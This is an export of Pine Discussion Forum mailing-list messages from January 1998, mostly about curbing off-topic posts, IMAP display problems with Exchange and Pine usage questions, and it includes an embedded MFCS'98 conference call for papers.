into your .pinerc), because delete in the unix world doesn't provide any means to retrieve old files by guessing strange leading characters. On Windows systems it should be possible to get them back using undelete, but I'm absolutely the wrong person to answer this :-) Hmm ... Ed, is this statement correct? To all the others ... is this statement *not* offending? l8er, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 Norbert Koch ,Pine Discussion Forum ,"Fri, 09 Jan 1998 07:30:41 +0100",Re: irrelevant posts (was: importing jewelry),">>>On Thu, 8 Jan 1998 12:35:14 -0600 (CST), ""Adam H. Kerman"" said: [...crap...] AHK> Sigh. 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MFCS'98 will be held 25 years after the first MFCS meeting in Czechoslovakia at Strbske pleso. MFCS'73 is remembered for taking a very broad, advanced, and stimulating view of the theoretical foundations of computing, and for the high scientific and organisational standard. MFCS'98 is intended to be another step along these lines. Programme Committee: S. Abramsky (Edinburgh), B. Buchberger (Linz), J. Diaz (Barcelona), V. Diekert (Stuttgart), J. Gruska, co-chair (Brno), I. Guessarian (Paris), T. Henzinger (Berkeley), R. J. Lipton (Princeton), G. Mirkowska (Pau), F. Moller (Uppsala), U. Montanari (Pisa), J. Nesetril (Prague), M. Paterson (Warwick), G. Paun (Bucharest), J. Sgall (Prague), W. Thomas (Kiel), J. Tiuryn (Warsaw), U. Vaccaro (Salerno), P. Vitanyi (Amsterdam), P. Voda (Bratislava), M. Wirsing (Munich), J. Zlatuska, co-chair (Brno).} Principal topics of interest include (but are not limited to): design and analysis of algorithms (sequential, parallel, distributed, approximation, computational biology, computational geometry, graph, network, number theory, on-line, optimisation) and data structures, automata, grammars and formal languages, complexity (communication, computational, descriptional) and computability, concurrency theory, cryptography and security, databases and knowledge-based systems, foundations of programming, formal specifications and program development, models of computation, parallel and distributed computing, quantum computing, molecular computing, semantics and logics of programs, theoretical issues in artifical intelligence. Invited talks of broad and stimulating orientation are offered, consistent with the more than quarter-century tradition of MFCS. Speakers: G. Ausiello (Rome), E. Borger (Pisa), Y. Gurevich (Ann Arbor), D. Harel (Rehovot), R.M. Karp (Seattle), F.T. Leighton (MIT-Cambridge), W. Maass (Graz), Yu. Matiyasevich (Petersburg), K. Mehlhorn (Saarbrucken), S. Micali (MIT-Cambridge), M. Nielsen (Aarhus), A. Pnueli (Rehovot), P. Pudlak (Prague), C. Stirling (Edinburgh), J. Wiedermann (Prague), M. Yannakakis (Murray Hill). MFCS'98 will have several tutorials and workshops. Proposals can be sent to PC co-chairs. The current list of workshops and tutorials is included below. The CSL'98 conference (Computer Science Logic) will be held in parallel with MFCS'98 at the same place. The federated CSL/MFCS conference will have common plenary sessions and social events. Participants registering for one conference can attend talks of both conferences and parallel workshops. Contact persons: Antonin Kucera (PC secretary) Jan Staudek (OC chair) Address: MFCS'98, Faculty of Informatics, Masaryk University Botanicka 68a, 60200 Brno, Czech Republic tel: ++420-5-4151 2336, fax: ++420-5-4121 2568 e-mail: {gruska,kucera,staudek,zlatuska,mfcs98}@fi.muni.cz}} WWW: http://www.fi.muni.cz/mfcs98/ Costs: The conference fee will be very reasonable as well as daily expenses (see the www page for details). The accommodation prices range from business-like level to very modest. Students will be able to participate at a very low cost. The best student papers will be specially recognised. The social programme will include a reception, an excursion to nearby attractions, a conference dinner, and activities for accompanying persons. First deadline: The first deadline is the usual one. Accepted papers go to the hard copy proceedings. Authors are invited to submit an extended abstract not exceeding 10 LNCS pages. Papers are thoroughly reviewed, double submissions other than those explicitly mentioned by MFCS/CSL PC are not allowed (see the www page for details). Submission: March 20, 1998 Notification: May 20, 1998 Second deadline: The second deadline is for `wild tiger' session (last minute hot topics). Accepted papers will appear in electronic proceedings. Authors are invited to send an abstract not exceeding 5 pages. The emphasis is on attractiveness of potential talks. There is no restriction on double submissions. Submission: July 1, 1998 Notification: August 1, 1998 All submission should be done electronically using special www forms. ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- ******************************************************************************* ******************************************************************************* ** ** ** ** ** MFCS'98 Workshops and Tutorials ** ** ** ** The 23rd International Symposium on ** ** Mathematical Foundations of Computer Science ** ** ** ** August 21-30, 1998, Brno, Czech Republic ** ** ** ** TENTATIVE ** ** ** ** ** ******************************************************************************* ******************************************************************************* CCA'98 - Workshop on Computability and Complexity in Analysis (August, 24-27) ----------------------------------------------------------------------------- All aspects of computability and computational complexity with emphasis on the Turing machine model of computation. PC: Ker-I Ko (Stony Brook), A. Nerode (Cornell University), M. Pour-El (Minnessota), K. Weihrauch (chair, Hagen), J. Wiedermann (Prague). Deadline: May 25, 1998 Contact: Klaus.Weihrauch@fernuni-hagen.de FICS'98 - Fixed Points in Computer Science (August 27-28) ---------------------------------------------------------- Construction and reasoning about properties of fixed points in various models, algebras, and logics. PC: R. Backhouse (Eindhoven), S.L. Bloom (Hoboken), C. Boehm (Rome), R. De Nicola (Florence), Z. Esik (chair, Szeged), P. Freyd (Philadelphia), I. Guessarian (Paris), D. Kozen (Cornell), W. Kuich (Vienna), M. Mislove (Tulane), R.F.C. Walters (Sydney). Deadline: May 25, 1998 Contact: esik@inf.u-szeged.hu Frontiers between Decidability and Undecidability (August 24-25) ----------------------------------------------------------------- Frontiers between decidable and undecidable (halting) problems in various computational settings. PC: J. Gabarro (Barcelona), I. Korec (Bratislava), Yu. Rogozhin (Kishinev), M. Margenstern (co-chair, Metz), G. Mauri (Milan), K. Morita (co-chair, Hiroshima), G. Paun (Bucharest). Deadline: May 25, 1998 Contact: margens@antares.iut.univ-metz.fr MFCS'98 Workshop on Communications (August 24-25) -------------------------------------------------- Communication complexity, communication algorithms in networks, interactive and zero-knowledge proofs, cryptography and cryptographical protocols. PC: M. Dietzfelbinger (Dortmund), P. Duris (Bratislava), J. Hromkovic (chair, Aachen), A. Liesman (Burnaby), A. Pelz (Quebec), G. Schnitger (Frankfurt), J. Sgall (Prague), W. Unger (Paderborn) Deadline: May 15, 1998 Contact: jh@I1.Informatik.RWTH-Aachen.de MFCS'98 Workshop on Concurrency (August 27-28) ----------------------------------------------- Decidability and complexity issues, model checking, software tools for modelling and verification of concurrent systems, verification of infinite-state processes. PC: A. Bouajjani (Grenoble), J. Bradfield (Edinburgh), W. Brauer (Munich), P. Jancar (co-chair, Ostrava), M. Kretinsky (co-chair, Brno), M. Nielsen (Aarhus), C. Stirling (Edinburgh). Deadline: May 25, 1998 Contact: mojmir@fi.muni.cz MFCS'98 Workshop on Grammar Systems (August 22-23) -------------------------------------------------- Cooperating/distributed grammar systems, colonies, team grammar systems, eco-grammar systems, network and language processors. PC: E. Csuhaj-Varju (Budapest), J. Dassow (Magdeburg), J. Kelemen (Bratislava/Opava), A. Kelemenova (chair, Opava), G. Paun (Bucharest, Turku), D. Wotschke (Franfurkt). Deadline: May 31, 1998 Contact: kelemenova@fpf.slu.cz Molecular Computing (August 24-26) ----------------------------------- Any theoretical computer science directions of research on the possible use of DNA as a support for computation. PC: C. Calude (Auckland), T. Head (Binghamton), L. Kari (London-Ontario), K. Krithivasan (Madras), G. Paun (chair, Bucharest), T. Yokomori (Tokyo). Deadline: May 25, 1998 Contact: gpaun@imar.ro Randomized Algorithms (August 26-28) ------------------------------------ Design and analysis of randomized algorithms, derandomization, randomized complexity classes. PC: S. Arikawa (Fukuoka), S. Arora (Princeton), H. Buhrman (Amsterdam), C. Calude (Auckland), L. Fortnow (Chicago), R. Freivalds (chair, Riga), J. Hromkovic (Aachen), R. Impagliazzo (San Diego), L. Kucera (Prague), Ming Li (Waterloo), A. Lingas (Lund), S. Rajasekaran (Gainesville), J. Rolim (Geneva), O. Watanabe (Tokyo), R. Wiehagen (Kaiserslautern), T. Zeugmann (Fukuoka) Deadline: March 20, 1998 Contact: rusins@paul.cclu.lv Weak Arithmetic (August 27-28) ------------------------------ Weak arithmetics, complexity of logical theories, complexity of algorithms in number theory, recursive analysis. PC: P. Cegielski (chair, Paris), I. Korec (Bratislava), Y. Matyiasevich (Petersburg), D. Richard (Clermont-Ferrand). Deadline: March 20, 1998 Contact: cep@capella.liafa.jussieu.fr Xth Peripathetic Seminar on Sheaves and Logic, X >= 66 (August 29-30) --------------------------------------------------------------------- Category theory, sheaves, logic, applications to computer science. PC: none Deadline: August 29, 1998 Contact: rosicky@math.muni.cz ******************************************************************************* ******************************************************************************* ** ** ** ** ** MFCS'98 Tutorials ** ** ** ** ** ******************************************************************************* ******************************************************************************* Abstract state machines ----------------------- by E. Borger (Pisa) and Yu. Gurevich (Ann Arbor). Approximation algorithms ------------------------ by P.L. Crescenzi (Florence), J. Diaz (Barcelona), and A. Marchetti-Spaccamela (Rome). Quantum logic and quantum computing ----------------------------------- by K. Svozil (Wien) and A. Barenko (Geneva). The Theorema system: An introduction with demos ----------------------------------------------- by B. Buchberger and T. Jebelan (RISC -- Linz). ******************************************************************************* ******************************************************************************* ** ** ** For additional information see http://www.fi.muni.cz/mfcs98/ ** ** ** ** ** ** *** END of this message *** ** ** ** ** ** ******************************************************************************* ******************************************************************************* ",0,1 Chi-Hao Hu ,Pine Discussion Forum ,"Fri, 09 Jan 1998 04:21:58 -0600",question,"what does it mean when it says ""read-only"" next to the word ""inbox""? thank you ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Chi-Hao Hu e-mail - huchirh@mail.auburn.edu 111 Thomas St. Apt#7 -or- Auburn, Al 36832 Batman429@aol.com 334-826-7717 homepage - http://www.auburn.edu~huchirh ------------------------------------------------------------------------------- A UUUUU A A UUUUU U A A U U AAAAAAA U U A A U UA AU AAAAAA AAAAAA U U UUUUUUUUUUU ",0,1 Mike Brudenell ,Pine Discussion Forum ,"Fri, 09 Jan 1998 10:41:46 +0000",Re: irrelevant posts,"Just a thought... Rather than going the whole hog and turning the list into a moderated one (ie, have every article vetted by a human before passing on to the list at large) how about converting it to become a _closed_ list, so that only subscribers can post to it? Then people who haven't subscribed but try to post would get an error message back telling them that the list is a closed one, and presumably this could go on to explain (a) what the list is REALLY for, and (b) how to subscribe. This would avoid the burden on, and delays in postings caused by having to filter articles through, a humanoid whilst hopefully significantly cut down the junk from spammers, web-searchers, and other random odds-n-sods. Any comments anyone? -- Mike Brudenell ------------------------------------------------------------------------ The Computing Service, University of York, Heslington, York, YO1 5DD, UK Tel: +44-1904-433811 FAX: +44-1904-433740 http://www.york.ac.uk/~pmb1/ * Unsolicited commercial e-mail is NOT welcome at this e-mail address. * On 9 Jan 1998, Norbert Koch wrote: > >>>On Thu, 8 Jan 1998 12:35:14 -0600 (CST), ""Adam H. Kerman"" said: > > [...crap...] > > AHK> Sigh. Who has a theory on how a Web page from the archives was > AHK> the highest scoring hit for ""filigree jewelry""? > > AHK> I assume this person isn't a subscriber. This is still an > AHK> argument for modera- ting mail from nonsubscribers. Does anyone > AHK> else think this is a good idea? > > Hi, > > you are absolutely right ... this is not a primary pine problem :-) > > The problem with moderation is: who's got the spare time and is > willing/able to read/stand all the crap that is coming along the > strange and twisted channels knocking at the pine mailing-list's > door. It is certainly not possible for me, my chef is going to kill me > on the spot :-/ > > just my 2p, norbert. > > -- > Norbert Koch",0,1 Andreas Sikkema ,Pine Discussion Forum ,"Fri, 09 Jan 1998 11:41:53 +0100",Re: irrelevant posts,"On Fri, 9 Jan 1998, Mike Brudenell wrote: > Rather than going the whole hog and turning the list into a moderated one > (ie, have every article vetted by a human before passing on to the list at > large) how about converting it to become a _closed_ list, so that only > subscribers can post to it? Then people who haven't subscribed but try to > post would get an error message back telling them that the list is a > closed one, and presumably this could go on to explain (a) what the list > is REALLY for, and (b) how to subscribe. This is the best suggestion I heard sofar. (PS I'm just a lurker, but I'm getting more and more annoyed with all this ch*ng*ng *f n*m*s) ___ _/_/_/ _/_/_/_/ _/_/ Andreas Sikkema ___/ _/ _/ _/ sikke600@hio.tem.nhl.nl __ _/_/_/_/ _/ _/_/ Gato blanco, gato negro, lo _ _/ _/ _/ _/ importante es que cace ratones ___/ _/ _/ _/_/_/ www.engineering.tem.nhl.nl/~sikke600 ",0,0 Johan Sj�berg ,Pine Discussion Forum ,"Fri, 09 Jan 1998 13:17:15 +0200",what,"How can you send a letter to another person secret ",0,0 Norbert Koch ,Pine Discussion Forum ,"Fri, 09 Jan 1998 12:36:09 +0100",Re: question,">>>On Fri, 9 Jan 1998 04:21:58 -0600 (CST), Chi-Hao Hu said: chh> what does it mean when it says ""read-only"" next to the word chh> ""inbox""? thank you hmmm, maybe that the inbox is read only and you can't work with the mails in it apart from reading them? But well, let's see ... either you started pine with a '-o' switch (that's read only for the first folder) or another pine process is allocating your inbox. In the second case, which is announced by pine at start up time, kill the other process (you know ... ps -ef | grep pine ; kill -9 ). l8er, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 Norbert Koch ,Pine Discussion Forum ,"Fri, 09 Jan 1998 12:45:37 +0100",Re: irrelevant posts,">>>On Fri, 9 Jan 1998 10:41:46 +0000 (GMT), Mike Brudenell said: MB> Just a thought... Rather than going the whole hog and turning MB> the list into a moderated one (ie, have every article vetted by a MB> human before passing on to the list at large) how about MB> converting it to become a _closed_ list, so that only subscribers MB> can post to it? Then people who haven't subscribed but try to MB> post would get an error message back telling them that the list MB> is a closed one, and presumably this could go on to explain (a) MB> what the list is REALLY for, and (b) how to subscribe. [...] MB> Any comments anyone? Of course :-) The suggestion sounds quite good to me ... the only problem might be, imo, that point (b) only delays the emergence of off-topic mails, but it's worth a try. Point (a) is *very* interesting, since this mailing-list has been set up in order to separate more technically based questions on pine from FAQs that are to be posted to comp.mail.whine (oops :-). In fact, FAQs shouldn't be posted at all, but that's a different cup of tea. Ed, Robin what do you think? l8er, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 """Eric V. Smith"" ",Pine Discussion Forum ,"Fri, 09 Jan 1998 06:52:52 -0500",Garbage in mail bodies using IMAP and Exchange 5.5,"I'm using Pine 3.96 on FreeBSD 2.2.5-RELEASE talking to a Microsoft Exchange 5.5 machine. My problem is that when I attach to my Exchange inbox using IMAP, the mail bodies are displayed as garbage characters that contain random characters. Sometimes part of the message is displayed and the end is truncaged and/or garbage, and sometimes just garbage is displayed. The headers always look fine. This is not just a display problem, because if I forward the mail to another machine (not running Pine), it sees this garbage also. This leads me to believe that the problem is in the mail itself, and is not just a display issue. I've put a sniffer on the line to see what is being transferred back and forth from Exchange. Everything looks okay. The entire message is transmitted from Exchange with no garbage and no truncation. Still the mail doesn't show correctly in Pine. I do not have similar problem when looking at a local mailbox. Has anyone heard of this problem? Any hints as to what to try? I've looked through the archives but I could not find any information. Thanks in advance. Eric. -- Eric V. Smith | For opinion in good men is but knowledge EricSmith@windsor.com | in the making. Windsor Software Corp +----------------------------------+ John Milton http://www.windsor.com/ Windows NT, Unix, SQL Server | 1608-74 ",0,1 Norbert Koch ,Pine Discussion Forum ,"Fri, 09 Jan 1998 13:00:52 +0100",Re: what,">>>On Fri, 9 Jan 1998 13:17:15 +0200 (EET), =?1?Q?Johan_Sj=F6berg?= said: Hi, first of all ... please have a look at your slightly mal formatted name :-) it's not very easy to pronounce, is it? j> How can you send a letter to another person secret Hmm, we had a discussion about this not long ago. Why in all world would you need to send a letter to someone secret. Btw, what do you mean, when you write secret? l8er, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 Noone Special ,Pine Discussion Forum ,"Fri, 09 Jan 1998 08:38:33 -0500",Re: Sug (ID Y777J): (fwd),"> On Windows systems it should be possible to get them back using > undelete, but I'm absolutely the wrong person to answer this :-) Well.. unless she's running WinBlows 95 (no undelete unless you can find one on the net somewhere.. if you do, lemme know ;) 95 has the recycle bin, but that is Windows specific. If you delete a file any other way than ""moving it to the recycle bin"".. it's GONE Pat ",0,0 Jim Carpenter ,Pine Discussion Forum ,"Fri, 09 Jan 1998 09:53:06 -0500",Re: irrelevant posts,"At 10:41 AM 1/9/98 +0000, Mike Brudenell wrote: >Rather than going the whole hog and turning the list into a moderated one >(ie, have every article vetted by a human before passing on to the list at >large) how about converting it to become a _closed_ list, so that only >subscribers can post to it? Then people who haven't subscribed but try to >post would get an error message back telling them that the list is a >closed one, and presumably this could go on to explain (a) what the list >is REALLY for, and (b) how to subscribe. IMHO: bravo, ditto, etc! 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I think this is because WORD MAIL is not ending the document correctly. But I am still working on it. Can you run a test like this a see if you find the same thing. Also can anyone tell me what to look for in the format of the mail message to find out what WORD MAIL might be doing wrong in the email message format. If I can find that then I think I can get Microsloth to look at it. Thanks Marty ---------- From: Eric V. Smith[SMTP:EricSmith@windsor.com] Sent: Friday, January 09, 1998 6:53 AM To: Pine Discussion Forum Subject: Garbage in mail bodies using IMAP and Exchange 5.5 I'm using Pine 3.96 on FreeBSD 2.2.5-RELEASE talking to a Microsoft Exchange 5.5 machine. My problem is that when I attach to my Exchange inbox using IMAP, the mail bodies are displayed as garbage characters that contain random characters. Sometimes part of the message is displayed and the end is truncaged and/or garbage, and sometimes just garbage is displayed. The headers always look fine. This is not just a display problem, because if I forward the mail to another machine (not running Pine), it sees this garbage also. This leads me to believe that the problem is in the mail itself, and is not just a display issue. I've put a sniffer on the line to see what is being transferred back and forth from Exchange. Everything looks okay. The entire message is transmitted from Exchange with no garbage and no truncation. Still the mail doesn't show correctly in Pine. I do not have similar problem when looking at a local mailbox. Has anyone heard of this problem? Any hints as to what to try? I've looked through the archives but I could not find any information. Thanks in advance. Eric. -- Eric V. Smith | For opinion in good men is but knowledge EricSmith@windsor.com | in the making. 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Re closing the list to subscribers only: I'm probably wrong and too tired to think straight anyhow, but just a sec - I thought that one of the main reasons we have such a problem with off-topic posts on the mailing list is that the pine newsgroup gateways posts to list. Is that right? I probably explained it wrong, but basically I thought there was some sort of transfer between the two entities. If we stopped the newsgroup-to-mailing-list flow, wouldn't that fix the problem? Lea ",0,0 """Eric V. Smith"" ",Pine Discussion Forum ,"Fri, 09 Jan 1998 11:40:49 -0500",Re: Garbage in mail bodies using IMAP and Exchange 5.5,"I get the problem even when I create the mail by telnetting into the smtp port on the mail server and typing in a straight ASCII message. My particular problem doesn't depend on the type of client being used. Eric. Everett, Marty wrote: > > I have seen this problem here also. What I found is the it is a problem > word mail on exchange client side. If I create a message from exchange > client using the default editor ( NOT WORD or what is called WORD MAIL ) > then the message and send it then check the message with pine looks > fine. If I use WORD MAIL on the exchange client then send it and check > it with pine I have trash at the end of the message. I think this is > because WORD MAIL is not ending the document correctly. But I am still > working on it. Can you run a test like this a see if you find the same > thing. > > Also can anyone tell me what to look for in the format of the mail > message to find out what WORD MAIL might be doing wrong in the email > message format. If I can find that then I think I can get Microsloth to > look at it. > > Thanks Marty > > ---------- > From: Eric V. Smith[SMTP:EricSmith@windsor.com] > Sent: Friday, January 09, 1998 6:53 AM > To: Pine Discussion Forum > Subject: Garbage in mail bodies using IMAP and Exchange 5.5 > > I'm using Pine 3.96 on FreeBSD 2.2.5-RELEASE talking to a > Microsoft > Exchange 5.5 machine. > > My problem is that when I attach to my Exchange inbox using > IMAP, > the mail bodies are displayed as garbage characters that contain > random characters. Sometimes part of the message is displayed > and the end is truncaged and/or garbage, and sometimes just > garbage > is displayed. The headers always look fine. > > This is not just a display problem, because if I forward the > mail > to another machine (not running Pine), it sees this garbage > also. > This leads me to believe that the problem is in the mail itself, > and is not just a display issue. > > I've put a sniffer on the line to see what is being transferred > back and forth from Exchange. Everything looks okay. The > entire > message is transmitted from Exchange with no garbage and no > truncation. Still the mail doesn't show correctly in Pine. > > I do not have similar problem when looking at a local mailbox. > > Has anyone heard of this problem? Any hints as to what to try? > I've looked through the archives but I could not find any > information. > > Thanks in advance. > > Eric. > > -- > Eric V. Smith | For opinion in good men is but > knowledge > EricSmith@windsor.com | in the making. > Windsor Software Corp +----------------------------------+ > John Milton > http://www.windsor.com/ Windows NT, Unix, SQL Server | > 1608-74 > > -- Eric V. Smith | For opinion in good men is but knowledge EricSmith@windsor.com | in the making. Windsor Software Corp +----------------------------------+ John Milton http://www.windsor.com/ Windows NT, Unix, SQL Server | 1608-74 ",0,1 """Adam H. Kerman"" ",Pine Discussion Forum ,"Fri, 09 Jan 1998 10:43:39 -0600",Re: irrelevant posts,">From: Norbert Koch >Date: 09 Jan 1998 12:45:37 +0100 >On Fri, 9 Jan 1998 10:41:46 +0000 (GMT), Mike Brudenell >said: >>Then people who haven't subscribed but try to post would get an error message >>back telling them that the list is a closed one, and presumably this could go >>on to explain (a) what the list is REALLY for, and (b) how to subscribe. >The suggestion sounds quite good to me ... the only problem might be, imo, >that point (b) only delays the emergence of off-topic mails, but it's worth a >try. Point (a) is *very* interesting, since this mailing-list has been set up >in order to separate more technically based questions on pine from FAQs that >are to be posted to comp.mail.whine (oops :-). First, however, the explanation must be given on every Web page in the archives that has a mailto: URL. This is where the irrelevant questions originate from. Does anyone want to admit to being the listowner or the Webmaster?",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Fri, 09 Jan 1998 10:46:36 -0600",mail to news gateway (was: what),">From: Lea >Date: Fri, 9 Jan 1998 09:28:53 -0700 (MST) >I thought that one of the main reasons we have such a problem with off-topic >posts on the mailing list is that the pine newsgroup gateways posts to list. The gateway was eliminated several months ago.",0,0 Mike Brudenell ,Pine Discussion Forum ,"Fri, 09 Jan 1998 16:49:58 +0000",Re: what,"It was indeed bi-directionally gatewayed to comp.mail.pine for quite a long time. However the gatewaying broke and nobody noticed for 2-3 months. They then sought opinion on the List whether the gateway should be re-established and the result was, if memory serves, that it shouldn't be. The idea was, I think, that comp.mail.pine would be more newbie-question-ish whilst pine-info focussed more on discussing ways of improving and devloping Pine. Mark Crispin/David Miller/Another Pine Team Entity... care to comment? -- Mike Brudenell ------------------------------------------------------------------------ The Computing Service, University of York, Heslington, York, YO1 5DD, UK Tel: +44-1904-433811 FAX: +44-1904-433740 http://www.york.ac.uk/~pmb1/ * Unsolicited commercial e-mail is NOT welcome at this e-mail address. * On Fri, 9 Jan 1998, Lea wrote: > Re closing the list to subscribers only: I'm probably wrong and > too tired to think straight anyhow, but just a sec - I thought > that one of the main reasons we have such a problem with > off-topic posts on the mailing list is that the pine newsgroup > gateways posts to list. Is that right? I probably explained it > wrong, but basically I thought there was some sort of transfer > between the two entities. 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",1,1 Stefan Kramer ,Pine Discussion Forum ,"Fri, 09 Jan 1998 09:34:25 -0800",Re: irrelevant posts,"In order to hopefully cut down somewhat on that phenomenon of people performing searches in WWW indexes, retrieving pages from the pine-info (converted-to-HTML) archives as a result, and then writing to the list on non-Pine topics, I have added a blurb to the HTML files for individual messages and listings of messages. Also, the individual-message HTML files now contain the element: which should eventually reduce the presence of pine-info postings in WWW indexes. All this is in effect only for the current month's (Jan. '98) messages now, and will be for the entire archives starting early next month. With luck, that will help a bit with reducing irrelevant posts. ------------------------------------------------------------ Stefan Kramer skramer@cac.washington.edu PINE Information Center http://www.washington.edu/pine/ Computing & Communications University of Washington ------------------------------------------------------------",0,1 """Adam H. Kerman"" ",Pine Discussion Forum ,"Fri, 09 Jan 1998 11:42:31 -0600",Re: irrelevant posts,">From: Stefan Kramer >Date: Fri, 9 Jan 1998 09:34:25 -0800 (PST) >In order to hopefully cut down somewhat on that phenomenon of people >performing searches in WWW indexes, retrieving pages from the pine-info >(converted-to-HTML) archives as a result, and then writing to the list on >non-Pine topics, I have added a blurb to the HTML files for individual >messages and listings of messages. What will the blurb say? Legxl nxme chxnge has now been asked so many times, it should be a FAQ.",0,0 Stefan Kramer ,Pine Discussion Forum ,"Fri, 09 Jan 1998 10:01:32 -0800",Re: irrelevant posts,"On Fri, 9 Jan 1998, Adam H. Kerman wrote: > .... > What will the blurb say? > .... Take a look at any page under http://www.washington.edu/pine/pine-info/1998.01/ -- if it's not noticeable enough, I could make it ?! ------------------------------------------------------------ Stefan Kramer skramer@cac.washington.edu PINE Information Center http://www.washington.edu/pine/ Computing & Communications University of Washington ------------------------------------------------------------",0,1 Tom Brusehaver ,ggentile@cvtci.com.ar,"Fri, 09 Jan 1998 09:06:59 -0600",Re: RS-485 Network,">>>>> ""G"" == =?iso-8859-1?Q?Germ=E1n Gentile?= writes: G> Anybody know where i can find physical connections nedeed to build G> a full-duplex RS-485 network with 75176? thanks in advance... There were a couple atricles in Circuit Cellar Ink over the years on RS-485 using the 75176 chip. Their home control system uses it for the various IO devices. The National semiconductor web site has a couple app notes for using the chip, including ""10 Ways To Bulletproof RS-485 Interfaces"".",0,1 David L Miller ,Pine Discussion Forum ,"Fri, 09 Jan 1998 10:19:48 -0800",Re: what,"On Fri, 9 Jan 1998, Mike Brudenell wrote: > It was indeed bi-directionally gatewayed to comp.mail.pine for quite a > long time. However the gatewaying broke and nobody noticed for 2-3 > months. > > They then sought opinion on the List whether the gateway should be > re-established and the result was, if memory serves, that it shouldn't be. > Yup. Another factor was that no-one stepped forward as a volunteer to re-establish and maintain the gateway. > The idea was, I think, that comp.mail.pine would be more > newbie-question-ish whilst pine-info focussed more on discussing ways of > improving and devloping Pine. That was the hope, though I haven't really seen much shift in that direction :-( We would love to restrict pine-info postings to subscribers, but there are just too many pointers to it floating around. When/if Listproc can generate a satisfactory ""bounce"" message for non-subscribers, we may consider the restriction. BTW, we're also considering a way to allow posting to comp.mail.pine through the (re-designed) Bug Report screen. -- David L. Miller | The opposite of a correct Software Engineer, Pine Development Team | statement is a false statement. Box 354841, University of Washington | The opposite of a profound truth 4545 15th Ave NE, Seattle WA 98105, USA | may well be another profound Phone: (206)685-6240 FAX: (206)685-4045 | truth. -- Niels Bohr",0,0 Drachen ,Pine Discussion Forum ,"Fri, 09 Jan 1998 10:54:22 -0800",Re: what,"On Fri, 9 Jan 1998, Lea wrote: > Re closing the list to subscribers only: I'm probably wrong and > too tired to think straight anyhow, but just a sec - I thought > that one of the main reasons we have such a problem with > off-topic posts on the mailing list is that the pine newsgroup > gateways posts to list. Is that right? I probably explained it > wrong, but basically I thought there was some sort of transfer > between the two entities. If we stopped the > newsgroup-to-mailing-list flow, wouldn't that fix the problem? more like the webtraffic-to-mailing-list flow--make them either type in the email address of the list, or else make the only place one can get to it on a page which says in big letters ""Pine is an email program. This is a list for questions about pine. Not anything else."" it might help",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Fri, 09 Jan 1998 10:33:15 -0000",Re: irrelevant posts,"OK, let's get hold of the list owner, and take this to the next step. Otherwise we'll continue to endure the same blistering ""asbestos gloves"" nonsense concerning irrelevant posts and I for one would rather help fix it, than complain about it, and have to read Robin's ""insult du jour"" which bless his heart...gets real old after a while. I don't mind moderating a new list, I just want the problem to go away by proactive means. I welcome any suggestions you can come up with. I asked two people who mis-posted (after *politely* telling them where they had posted to, and why it/we couldn't help 'em) to send me URL's of any *actual"" resource on the name change thig. If I can get hold of those URL(s) I'll do up a recipe in procmail to send out an autoresponse that will take care of those posts. In the meantime, I wish I knew that anyone from the University actually read anything from the lists! >I don't know who the Webmaster is, and who the list-owner is. The Webmaster >would need to change the archives to clearly give a description of pine on any >Web page that has a mailto: URL. I got a letter today on ""lxgal nxme chxnge"". ",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Fri, 09 Jan 1998 10:18:54 -0000",Re: Messages not delivered,"Carolyn; You should immediately contact your *local* systems administrator about this. Members of this list could not render any assistance whatsoever, it's a problem which must be resolved within your network locally, there are a dozen possible reasons that this could be happening, and none of us could troubleshoot your local network. Sorry we couldn't be of more help to you and Good Luck! -Colin -----Original Message----- From: wl_csmith@SEOVCA.SEOVEC.OHIO.GOV To: Pine Discussion Forum Date: Friday, January 09, 1998 3:01 AM Subject: Messages not delivered > > >For the past four days, I have not been receiving all my e-mail. Only >part of the messages are getting through. I've sent myself test messages >as well as messages to a group. These are not getting through. Messages >to certain individuals are being delivered. Any suggestions? > >Carolyn Smith > >",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Fri, 09 Jan 1998 14:07:36 -0600",Re: irrelevant posts,">From: Stefan Kramer >Date: Fri, 9 Jan 1998 10:01:32 -0800 (PST) >Take a look at any page under >http://www.washington.edu/pine/pine-info/1998.01/ That should be fine. >if it's not noticeable enough, I could make it ?! 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Before sending questions to the mailing list, please consult these resources: The Pine program itself includes extensive internal, context-sensitive help. Additional information, including a User's Guide, Technical Notes, Questions & Answers, where to obtain the Pine software, what tools are available to perform tasks that Pine itself does not, and more, can be accessed: - In the Pine Information Center on the World Wide Web at the URL: http://www.washington.edu/pine/ - Via anonymous FTP on the host ftp.cac.washington.edu in the subdirectory /pine/docs/. Here, you will find most of the documents from the Pine Information Center in plain-text form. - The Pine documents on the host ftp.cac.washington.edu can also be read from within Pine by defining a folder collection (from Pine's MAIN MENU, choose SETUP, Config; then move to folder-collections and choose Add Value) as: *{ftp.cac.washington.edu/anonymous}pine/docs/[] The messages from this mailing list are archived. These archives can be accessed: - In the Pine Information Center on the World Wide Web at the URL: http://www.washington.edu/pine/pine-info/ (includes a searchable index of all archived messages, and information on how to subscribe to this mailing list) - Via anonymous FTP on the host ftp.cac.washington.edu in the subdirectory /pine/pine-info/. - From within Pine by defining a folder collection (from Pine's MAIN MENU, choose SETUP, Config; then move to folder-collections and choose Add Value) as: *{ftp.cac.washington.edu/anonymous}pine/pine-info/[] Please note: the mailing list is no longer mirrored in the comp.mail.pine newsgroup. If you have a question about Pine, chances are it has been asked before and you can find the answer either through the searchable index of past messages, or among the ""Questions & Answers"" at the URL: http://www.washington.edu/pine/QandA/ or ftp://ftp.cac.washington.edu/pine/docs/QandA.txt If you need personal assistance with using or configuring Pine, contact the technical support staff or computer help desk of YOUR Internet Service Provider, school, university, employer, ... -- whichever organization provided you with the email account on which you are using, or planning on using, Pine. Because system functions and configuration can vary from site to site, they are best qualified to assist you. (Due to the large number of Pine installations worldwide, the University of Washington cannot provide individual support services to Pine users 